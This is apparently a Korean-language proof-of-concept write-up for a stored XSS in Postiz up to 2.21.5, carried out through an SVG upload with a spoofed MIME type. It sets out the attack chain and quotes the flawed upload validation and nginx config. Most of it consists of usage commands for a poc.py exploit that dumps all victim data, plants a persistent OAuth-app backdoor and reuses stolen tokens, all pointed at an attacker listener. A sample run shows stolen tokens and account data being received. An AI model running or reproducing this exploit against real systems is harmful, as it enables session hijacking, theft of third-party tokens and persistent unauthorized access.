공격자가 Content-Type: image/png 헤더로 .svg 업로드
  -> 서버가 Content-Type 헤더만 검증 (CWE-345)
    -> 파일이 원래 .svg 확장자로 디스크에 저장됨 (CWE-434)
      -> nginx가 image/svg+xml로 제공
        -> 브라우저가 임베디드 JavaScript 실행 (CWE-79)
          -> 동일 오리진: 피해자 세션에 대한 완전한 접근 권한

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

Python 3.8+
pip install requests

# 1. 대상이 취약한지 확인
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. 피해자로부터 모든 데이터 탈취
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. 영구 백도어 생성
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. 자격 증명 없이 토큰 재사용
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

공격자                    Postiz 서버              피해자
    |                              |                        |
    |-- 1. 로그인/가입 ------------>|                        |
    |-- 2. 악성 SVG 업로드 -------->|                        |
    |<---- 파일 URL ----------------|                        |
    |-- 3. URL을 피해자에게 전송 --------------------------->  |
    |                              |<--- 4. URL 열기 ------- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS 실행, 데이터 탈취 ----------------|

$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — MIME 스푸핑 파일 업로드를 통한 저장형 XSS

[*] [email protected]으로 로그인 중 ...
[+] 인증 완료.
[*] 페이로드 생성 중: 단일 페이로드로 모든 데이터 탈취
[*] Content-Type: image/png 헤더로 악성 .svg 업로드 중 ...
[+] 업로드 성공.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    경로: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888에서 탈취 리스너 시작 중 ...

=================================================================
  이 URL을 피해자에게 보내세요:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] 피해자가 링크를 열기를 기다리는 중 ...

[+] 2026-04-15 03:45:41에 획득 데이터 수신
    태그: victim-profile
    데이터: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] 2026-04-15 03:45:41에 획득 데이터 수신
    태그: integrations
    데이터: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] 2026-04-15 03:45:42에 획득 데이터 수신
    태그: team-members
    데이터: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...